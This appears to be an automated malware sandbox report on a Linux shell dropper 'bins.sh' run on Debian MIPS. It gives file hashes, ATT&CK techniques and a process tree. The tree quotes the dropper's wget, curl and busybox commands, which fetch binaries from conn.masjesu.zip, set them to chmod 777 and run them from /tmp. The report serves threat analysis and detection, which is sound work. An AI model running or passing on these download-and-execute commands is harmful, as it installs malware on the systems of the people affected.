35138d9bc695c53235e8a5f14cd4299988f55b929d4fa75760f3073ad48c3b3a

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
25-11-2024 15:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

65cad9f0d2b2575d13f13cebeddada18
SHA1

b54f8084216e8463415b553d62a25b6613db5e78
SHA256

35138d9bc695c53235e8a5f14cd4299988f55b929d4fa75760f3073ad48c3b3a
SHA512

b09b957f03208773177ff853f06b287487867e6d94fbaf6d9b5fb9bc5b0be34170005107dceb696717bdb392dd7b4b595931e13081554e5202b114651fc5942a
SSDEEP

96:Yn7BO+F7L4AL48L4/4q4K4mU7X41VvMWMGMGrPmO+d9D0CDkmD0lTf5LddJMQZL7:af9V6XrzN9xbX+8X9xEV9V6XrJ

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

812 chmod
Executes dropped EXE 1 IoCs

Processes:

QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

ioc pid process

/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w 813 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curlcurl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
File opened for reading /proc/sys/crypto/fips_enabled curl
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

curlbusyboxwgetcurlwget

pid process

809 curl
811 busybox
816 wget
817 curl
712 wget

pid	process
812	chmod

ioc	pid	process
/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	813	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

pid	process
809	curl
811	busybox
816	wget
817	curl
712	wget

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G	wget
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	wget
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	curl
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  ./QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  PID:815
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:817

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit